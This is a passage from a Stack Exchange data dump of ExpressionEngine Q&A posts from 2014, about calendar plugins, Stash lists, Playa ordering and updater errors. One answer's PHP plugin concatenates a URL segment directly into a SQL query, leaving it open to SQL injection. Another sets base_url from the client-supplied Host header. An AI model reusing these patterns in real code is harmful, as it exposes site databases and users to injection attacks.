class=&quot;eventdate&quot; datetime=&quot;{event_start_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;{event_start_date format=&quot;%l %j&amp;lt;sup&amp;gt;%S&amp;lt;/sup&amp;gt; %F %Y&quot;}&amp;lt;/time&amp;gt;&#xA;      {if:else}&amp;lt;time class=&quot;eventdate&quot; datetime=&quot;{event_start_date format=&quot;%Y-%m-%dT%H:%iZ&quot;}&quot;&amp;gt;{event_start_date format=&quot;%l %j&amp;lt;sup&amp;gt;%S&amp;lt;/sup&amp;gt; %F %Y &amp;lt;i&amp;gt;at&amp;lt;/i&amp;gt; %g:%i%a&quot;}&amp;lt;/time&amp;gt;{/if}&#xA;      &amp;lt;p class=&quot;description&quot;&amp;gt;{event_summary}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {/if}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This correctly displays events that are flagged as featured but obviously if an event is recurring, it shows all future instances. Can anyone suggest a solution?&lt;/p&gt;&#xA;" OwnerUserId="393" LastActivityDate="2014-05-30T18:59:29.530" Title="Solspace Calendar: Only show next occurrence of recurring event in list of recurring and non-recurring events" Tags="|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19685" PostTypeId="2" ParentId="19682" CreationDate="2014-02-23T12:15:31.130" Score="3" Body="&lt;p&gt;Its not clear from your question whether you're wanting to show the child categories based on the parent category page you're currently viewing. We needed to do the same thing, so I wrote a quick plugin, as I don't think there's any combination of EE tags that will allow you to achieve this. The scenario we used this in was if I was on domain.com/page/category/parent, it would allow me to list out all the children for that parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Show_child_cats {&#xA;&#xA;public $return_data;&#xA;&#xA;/**&#xA; * Constructor&#xA; */&#xA;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;    // Get information about the current parent and the category group&#xA;    $this_cat_parent = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('cat_parent');&#xA;    $this_cat_group = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('cat_group');&#xA;&#xA;    // Get the child categories within the group and current parent category set above&#xA;    $child_cats = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT exp_categories.cat_id, exp_categories.cat_name, exp_categories.cat_url_title, exp_categories.parent_id, exp_categories.cat_image FROM exp_categories WHERE exp_categories.group_id = '&quot; . $this_cat_group . &quot;' AND exp_categories.parent_id &amp;lt;&amp;gt; 0&#xA;AND &#xA;(SELECT exp_categories.cat_id FROM exp_categories WHERE exp_categories.cat_url_title = '&quot; . $this_cat_parent . &quot;' AND exp_categories.group_id = '&quot; . $this_cat_group . &quot;') = exp_categories.parent_id ORDER BY exp_categories.cat_order ASC&quot;);&#xA;&#xA;    $vars = array();&#xA;&#xA;    if($child_cats-&amp;gt;num_rows() &amp;gt; 0)&#xA;    {&#xA;        foreach($child_cats-&amp;gt;result_array() as $row)&#xA;        {&#xA;            $vars[] = array(&#xA;                'this_cat_name' =&amp;gt; $row['cat_name'],&#xA;                'this_cat_url_title'  =&amp;gt; $row['cat_url_title'],&#xA;                'this_cat_id'   =&amp;gt; $row['cat_id'],&#xA;                'this_cat_parent_id'   =&amp;gt; $row['parent_id'],&#xA;                'this_cat_image'   =&amp;gt; $row['cat_image']&#xA;                );&#xA;        }&#xA;        $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;    }&#xA;    else&#xA;    //not categorised&#xA;    {&#xA;        $vars[] = array (&#xA;            'this_cat_name' =&amp;gt; 'There are no child categories for this category.'   &#xA;        );&#xA;        $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;    }&#xA;}//end __construct()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query combines 2 select statements. The first gets all the child categories in the chosen category group (where the parent ID is not 0). The 2nd statement then gets the ID number of the currently viewed category, based on the categories url_title and group_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The combined query then lists out the children of the selected parent only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template, I could then call the plugin as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:show_child_cats cat_parent=&quot;{segment_3}&quot; cat_group=&quot;1&quot; parse=&quot;inward&quot;}&#xA;        {if this_cat_url_title!=&quot;&quot;}&#xA;          &amp;lt;div class=&quot;product-cat&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;/products/category/{this_cat_url_title}&quot; title=&quot;{this_cat_name}&quot;&amp;gt;&#xA;              &amp;lt;h3&amp;gt;{this_cat_name}&amp;lt;/h3&amp;gt;&#xA;              {if this_cat_image!=&quot;&quot;}&#xA;                &amp;lt;img src=&quot;{exp:parse_file_paths}{this_cat_image}{/exp:parse_file_paths}&quot; alt=&quot;{this_cat_name}&quot;&amp;gt;&#xA;              {if:else}&#xA;                &amp;lt;img src=&quot;/assets/img/no-image.jpg&quot; alt=&quot;{category_name}&quot;&amp;gt;&#xA;              {/if}&#xA;            &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;      {/exp:show_child_cats}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to output a category image the plugin &lt;a href=&quot;http://devot-ee.com/add-ons/parse-file-paths&quot; rel=&quot;nofollow&quot;&gt;Parse File Paths&lt;/a&gt; will convert the path from  {filedir_n} to your actual server path.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-02-23T12:15:31.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19686" PostTypeId="2" ParentId="19684" CreationDate="2014-02-23T12:49:29.427" Score="1" Body="&lt;p&gt;Another way of interpreting the question might be &quot;how to display events in chronological order, but with each different event appearing only once, regardless of how many occurrences it has in the timeframe&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach is to use PHP to create an array of unique events, and display your event data only when the event is encountered for the first time in &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. Here's an example (turn on PHP for your template and set it to &lt;strong&gt;Output&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Create the arrays --}&#xA;&amp;lt;?php &#xA;    $event_ids = array();&#xA;    $event_data = array();&#xA;?&amp;gt;&#xA;&#xA;{!-- &#xA;    // Check if the event was already encountered (i.e. is in the array),&#xA;    // and store your data in a separate array if this is the first time&#xA;    // encountering this event &#xA;--}&#xA;{exp:calendar:cal /* your other parameters here */}&#xA;&amp;lt;?php &#xA;    if( ! in_array('{event_id}', $event_ids) )&#xA;    {&#xA;        $event_ids[] = '{event_id}';&#xA;        $event_data[] = '* The data you want displayed';&#xA;    }&#xA;?&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&#xA;{!-- Display event data, still in chronological order --}&#xA;&amp;lt;?php &#xA;    foreach($event_data as $data)&#xA;    {&#xA;        echo $data;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course there are likely other strategies, using PHP, Stash, or other means, but the main idea is to create a list/group/array of unique events within your timeframe.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-23T12:49:29.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19687" PostTypeId="1" CreationDate="2014-02-23T16:21:08.033" Score="1" ViewCount="172" Body="&lt;p&gt;just used Dev Demons' Updater for the first time (update 2.6.1 to 2.7.2) I got a not completed message and them the following: AJAX request failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I look at the current version running its updated. But when I go the Updater CP I see the &quot;Ajax Request Failed&quot; when I click on the &quot;Show Response&quot; link I get:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;error&quot;:&quot;&#xA;Error Number: 1054&amp;lt;/p&gt;\n\n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'csrf_exempt' in 'field list'&amp;lt;/p&gt;\n\n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT &lt;code&gt;class&lt;/code&gt;, &lt;code&gt;method&lt;/code&gt;, &lt;code&gt;csrf_exempt&lt;/code&gt;\nFROM (&lt;code&gt;exp_actions&lt;/code&gt;)\nWHERE &lt;code&gt;action_id&lt;/code&gt; = '44'&amp;lt;/p&gt;\n\n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Actions.php&amp;lt;/p&gt;\n\n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 82&amp;lt;/p&gt;&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the EE CP I get this message: Your ExpressionEngine installation’s version (2.6.1) is not consistent with the reported version (2.7.3). Please update your installation of ExpressionEngine again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bFgBS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1330" LastEditorUserId="1330" LastEditDate="2014-02-23T16:28:14.880" LastActivityDate="2014-02-24T09:38:13.287" Title="Dev Demon Updater error" Tags="|devdemon-updater|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19688" PostTypeId="1" CreationDate="2014-02-23T16:57:12.533" Score="0" ViewCount="54" Body="&lt;p&gt;Using Solspace Tag 4.2.5 with EE 2.7.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The suggestion tool is broken. Triple checked install. De-installed, reinstalled twice...  /themes/ as well as /system/ files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the error: &lt;a href=&quot;http://cl.ly/U22k&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/U22k&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-02-23T23:34:48.440" Title="Solspace Tag &quot;Suggestion&quot; dropdown broken" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19689" PostTypeId="1" AcceptedAnswerId="19851" CreationDate="2014-02-23T19:36:42.007" Score="0" ViewCount="85" Body="&lt;p&gt;Is there a way to send a member PM notification only if that member is not logged in the site?When the member is on the site, I show a growl notification to that member whenever that member receives a PM. In that case, there is no need to also notify the member via email. I'd like the PM notification email to only send when the member is not logged in. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-02-28T15:17:05.690" Title="Conditional PM Notification" Tags="|members|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19690" PostTypeId="2" ParentId="19683" CreationDate="2014-02-23T20:21:41.083" Score="1" Body="&lt;p&gt;Add parse=&quot;inward&quot; to the gwcode categories parameters. &lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-02-23T20:21:41.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19691" PostTypeId="1" AcceptedAnswerId="19702" CreationDate="2014-02-23T23:21:18.670" Score="1" ViewCount="68" Body="&lt;p&gt;I'm using EE 2.7.3, Channel Videos 3.1.5, and Stash 2.4.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to stash all the data for my Page channel, which has a Channel Videos field. So at the top of my template, I have this code ([hopefully] irrelevant stuff omitted):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;page_content&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;page&quot; limit=&quot;1&quot; status=&quot;not closed&quot; require_entry=&quot;yes&quot;}&#xA;        {stash:page_title}{title}{/stash:page_title}&#xA;        {exp:stash:set_list:nested name=&quot;header_videos&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot;}&#xA;                {stash:video_url}{video:url}{/stash:video_url}&#xA;                {stash:video_title}{video:title}{/stash:video_title}&#xA;                {stash:video_service}{video:service}{/stash:video_service}&#xA;                {stash:video_title}{video:title}{/stash:video_title}&#xA;                {stash:video_description}{video:description}{/stash:video_description}&#xA;                {stash:video_url}{video:url}{/stash:video_url}&#xA;                {stash:video_url_hd}{video:url_hd}{/stash:video_url_hd}&#xA;                {stash:video_img_url}{video:img_url}{/stash:video_img_url}&#xA;                {stash:video_img_url_hd}{video:img_url_hd}{/stash:video_img_url_hd}&#xA;                {stash:video_web_url}{video:web_url}{/stash:video_web_url}&#xA;            {/exp:channel_videos:videos}&#xA;        {/exp:stash:set_list:nested}    &#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, down below, I'm trying to pull that info back up, using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;page_content&quot;}&#xA;    {exp:stash:get_list:nested name=&quot;header_videos&quot; context=&quot;{page_entry_id}&quot; prefix=&quot;page_video&quot;}&#xA;        &amp;lt;h2&amp;gt;Count: {page_video:count}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;h3&amp;gt;{page_video:video_title} {page_video:count}&amp;lt;/h3&amp;gt;&#xA;        Service: {page_video:video_service}&amp;lt;br /&amp;gt;&#xA;        Desc: {page_video:video_description}&amp;lt;br /&amp;gt;&#xA;        URL: {page_video:video_url}&amp;lt;br /&amp;gt;&#xA;        URL HD: {page_video:video_url_hd}&amp;lt;br /&amp;gt;&#xA;        IMG URL: {page_video:video_img_url}&amp;lt;br /&amp;gt;&#xA;        IMG URL HD: {page_video:video_img_url_hd}&amp;lt;br /&amp;gt;&#xA;        Web URL: {page_video:video_web_url}&amp;lt;br /&amp;gt;&#xA;        Embed Code: {page_video:video_embed_code}&amp;lt;br /&amp;gt;&#xA;        Embed Code HD: {page_video:video_embed_code_hd}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;hr /&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's happening is, when I have 2 videos in that field, my code outputs 4 result rows. When I have 3 videos, the get_list outputs 6 results. And the weird part is, the first from each pair  has the first three fields correctly populated, but the rest are unparsed tags. And the 2nd from each pair has all the rest, including the 3rd field... Notice in the screenshot below, the URL field is the same on the 1st and 2nd results, the 3rd and 4th results, and the 5th and 6th results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like, so:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tpA4V.jpg&quot; alt=&quot;screenshot of example of incorrect output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what I'm doing wrong? Stash is AWESOME, but I sometimes have trouble wrapping my mind around how it works. Thanks for your time!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-02-24T13:29:19.850" Title="Using Stash lists with Channel Videos, getting double result rows" Tags="|stash|channel-videos|nested-list|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19692" PostTypeId="2" ParentId="19688" CreationDate="2014-02-23T23:34:48.440" Score="1" Body="&lt;p&gt;This solution over at Solspace support would likely fix this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.solspace.com/solution/categories/115922/folders/236531/articles/145012-how-to-avoid-issues-with-the-tag-custom-field-autocomplete-not&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.solspace.com/solution/categories/115922/folders/236531/articles/145012-how-to-avoid-issues-with-the-tag-custom-field-autocomplete-not&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'll post the answer here for more exposure:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There may be cases when the Tag custom field's autocomplete does not display any results.&lt;/p&gt;&#xA;&lt;p&gt;First, please check if the domain in your browser address bar is the same as the domain set in EE. www and non-www domains are not considered the same. Domains need to be the same to prevent AJAX requests (used by Tag) from being considered as Cross-Site Scripting (XSS) attempts, which are blocked by browsers.&lt;/p&gt;&#xA;&lt;p&gt;One solution is to set up config.php so that EE's site_url changes with the domain used in your browser. You can do this using PHP's $_SERVER variables. Here's an example. You would put this in config.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$protocol              = (isset($_SERVER[&amp;quot;HTTPS&amp;quot;]) &amp;amp;&amp;amp; $_SERVER[&amp;quot;HTTPS&amp;quot;] == &amp;quot;on&amp;quot;) ? &amp;quot;https://&amp;quot; : &amp;quot;http://&amp;quot;;&#xA;$base_url              = $protocol . $_SERVER['HTTP_HOST'];&#xA;$config['base_url']    = $base_url . '/';&#xA;$config['site_url']    = $config['base_url'];&#xA;$config['cp_url']      = $config['base_url'] . $system_folder . &amp;quot;/index.php&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This assures that the EE domain for site_url is the same as my browser's domain, every time. This avoids Cross-Site Scripting issues when using AJAX.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-02-23T23:34:48.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19693" PostTypeId="2" ParentId="5850" CreationDate="2014-02-24T05:10:39.557" Score="1" Body="&lt;p&gt;I've had good luck posting to Facebook and Twitter using dlvr.it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up recipes to take the information from my RSS feed and post the title/story/link to both Twitter and Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I speed up the turnaround using Superfeeder's pubsubhubbub service.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2014-02-24T05:10:39.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19694" PostTypeId="2" ParentId="33" CreationDate="2014-02-24T06:33:18.260" Score="3" Body="&lt;p&gt;I'd like to add that with the &lt;a href=&quot;http://ellislab.com/blog/entry/the-modulus-operator&quot; rel=&quot;nofollow&quot;&gt;Modulus Operator added to EE in 2.7.1&lt;/a&gt; that this can be easily achived now with the following code, based on Bootstrap 3 (example using a Grid fieldtype for the output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    {gallery}&#xA;&#xA;        {if gallery:index % 3 == 0 OR gallery:index != 0} &#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;{gallery:title}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    {/gallery}&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will close the row and make a new one after every 3rd element. &lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2014-02-24T06:33:18.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19695" PostTypeId="2" ParentId="19687" CreationDate="2014-02-24T09:38:13.287" Score="2" Body="&lt;p&gt;Easiest solution that I've found for this in the past, is to go into your /system/expressionengine/config/config.php file and change the version number in there back to 2.6.1 and then re-run the upgrade using updater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would reapply the update and should resolve the problem for you.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-02-24T09:38:13.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19696" PostTypeId="1" AcceptedAnswerId="19701" CreationDate="2014-02-24T10:05:26.850" Score="2" ViewCount="44" Body="&lt;p&gt;I've had a plugin for ExpressionEngine developed that uses the File_upload_preferences_model::get_upload_preferences() method, which is now removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to update the plugin to reflect any newly added similar methods?&lt;/p&gt;&#xA;" OwnerUserId="1142" LastActivityDate="2014-02-24T13:09:30.673" Title="File_upload_preferences_model::get_upload_preferences() removed - What to use?" Tags="|add-on-development|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19698" PostTypeId="2" ParentId="19466" CreationDate="2014-02-24T10:50:20.517" Score="0" Body="&lt;p&gt;Why not keep the news listing outside of Structure and build the archive as you would normally? You can still assign the channel to a Structure node but have a template group of /news and then /news/archive to do the usual breakdown of filters.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-02-24T10:50:20.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19699" PostTypeId="1" AcceptedAnswerId="19705" CreationDate="2014-02-24T12:11:22.050" Score="0" ViewCount="38" Body="&lt;p&gt;I have a site that has a custom sidebar for each page and I decided to use Playa to accomplish this. I have the sidebar components displaying on each page as expected but the re-ordering doesn't seem to be working, they just stay in the same order as they are in my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever come across this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template code - which is an include on each page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;page|sub_page|news_page|events_page|music_page|gallery_page|shop_page|reviews_page|contact_page&quot; url_title=&quot;{embed:parent}&quot;}&#xA;    {exp:playa:children field=&quot;sidebar&quot; channel=&quot;sidebar_image_component&quot;}&#xA;    &amp;lt;div class=&quot;sidebarComponent&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;a href=&quot;{sidebar_image_component_link}&quot; class=&quot;linkImage&quot;&amp;gt;&amp;lt;img src=&quot;{sidebar_image_component_image}&quot; alt=&quot;Buy my latest album&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;{site_url}/shop&quot; class=&quot;siteButton album&quot;&amp;gt;Buy Album&amp;lt;i class=&quot;fa fa-long-arrow-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:playa:children}&#xA;    {exp:playa:children field=&quot;sidebar&quot; channel=&quot;sidebar_text_component&quot;}&#xA;    &amp;lt;div class=&quot;sidebarComponent&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p&amp;gt;{sidebar_text_component_textarea}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;a href=&quot;{sidebar_text_component_link}&quot; class=&quot;siteButton&quot;&amp;gt;{link_text}&amp;lt;i class=&quot;fa fa-long-arrow-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:playa:children}&#xA;    {exp:playa:children field=&quot;sidebar&quot; channel=&quot;sidebar_featured_music&quot;}&#xA;    &amp;lt;div class=&quot;sidebarComponent&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;        {sidebar_soundcloud_iframe}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="2773" LastActivityDate="2014-02-24T14:22:24.620" Title="Playa Re-ordering Not Working" Tags="|playa|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19700" PostTypeId="1" AcceptedAnswerId="19747" CreationDate="2014-02-24T12:44:55.080" Score="1" ViewCount="63" Body="&lt;p&gt;I'm using EE 2.7.3 and I have a fresh installation of zoo visitor (1.3.30). I migrated my members over to zoo (1 member) and tried to add a First Name and save. I receive this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method stdClass::update_username_password() in /var/www/mysite/system/expressionengine/third_party/zoo_visitor/ft.zoo_visitor.php on line 390&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-03-27T17:01:16.307" Title="Zoo visitor save member error" Tags="|ee2|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19701" PostTypeId="2" ParentId="19696" CreationDate="2014-02-24T13:09:30.673" Score="2" Body="&lt;p&gt;The new method that replaces &lt;code&gt;get_upload_preferences&lt;/code&gt; is called &lt;code&gt;get_file_upload_preferences&lt;/code&gt;. All you need to do is change that method name in your code, the parameters should be the same.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-24T13:09:30.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19702" PostTypeId="2" ParentId="19691" CreationDate="2014-02-24T13:29:19.850" Score="2" Body="&lt;p&gt;You have some keys which are repeated multiple times, &lt;code&gt;video_url&lt;/code&gt; and &lt;code&gt;video_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first duplicate &lt;code&gt;video_url&lt;/code&gt; causes the problem, because it makes Stash 'think' the row of keys is starting again, i.e. a new row. This doubles up your list.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-02-24T13:29:19.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19703" PostTypeId="2" ParentId="19558" CreationDate="2014-02-24T14:21:28.367" Score="1" Body="&lt;p&gt;I think this is working as it is meant to although I do find it very strange. I have just come up against this problem myself today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CartThrob Paypal Express plugin checks to see if there is a shipping address, and if there is then it will transmit that to PayPal instead of the billing address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said all this I don't really understand the logic behind this - I would prefer just the billing details to be sent to PayPal and I am considering re-writing the plugin myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: It also limits the first and last name to 31 characters which, I suspect, is why yours is getting cut off.&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2014-02-24T14:21:28.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19704" PostTypeId="2" ParentId="19570" CreationDate="2014-02-24T14:21:47.163" Score="2" Body="&lt;p&gt;Ok so this has been resolved now. With credit to @Michael Boyink who suggested the following;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had been creating the templates using FTP. However when the templates were created in the Control Panel Template Manager using XML as a template type, the XML gets populated with channel data, just as I had hoped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relief!!, this one could have stumped me for days but a simple solution in the end.&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-02-24T14:21:47.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19705" PostTypeId="2" ParentId="19699" CreationDate="2014-02-24T14:22:24.620" Score="0" Body="&lt;p&gt;Playa can’t re-code your template for you; if your template is first outputting any children from the “sidebar_image_component” channel, then from the “sidebar_text_component” channel, and then from the “sidebar_featured_music” channel, that’s the order they’ll appear in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the entries to be output in the Playa-defined order, you’ll need to merge all of that into a single {exp:playa:children} tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;sidebar&quot;}&#xA;    &amp;lt;div class=&quot;sidebarComponent&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;&#xA;        {if channel_short_name == &quot;sidebar_image_component&quot;}&#xA;            &amp;lt;a href=&quot;{sidebar_image_component_link}&quot; class=&quot;linkImage&quot;&amp;gt;&amp;lt;img src=&quot;{sidebar_image_component_image}&quot; alt=&quot;Buy my latest album&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}/shop&quot; class=&quot;siteButton album&quot;&amp;gt;Buy Album&amp;lt;i class=&quot;fa fa-long-arrow-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if channel_short_name == &quot;sidebar_text_component&quot;}&#xA;            &amp;lt;p&amp;gt;{sidebar_text_component_textarea}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;a href=&quot;{sidebar_text_component_link}&quot; class=&quot;siteButton&quot;&amp;gt;{link_text}&amp;lt;i class=&quot;fa fa-long-arrow-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if channel_short_name == 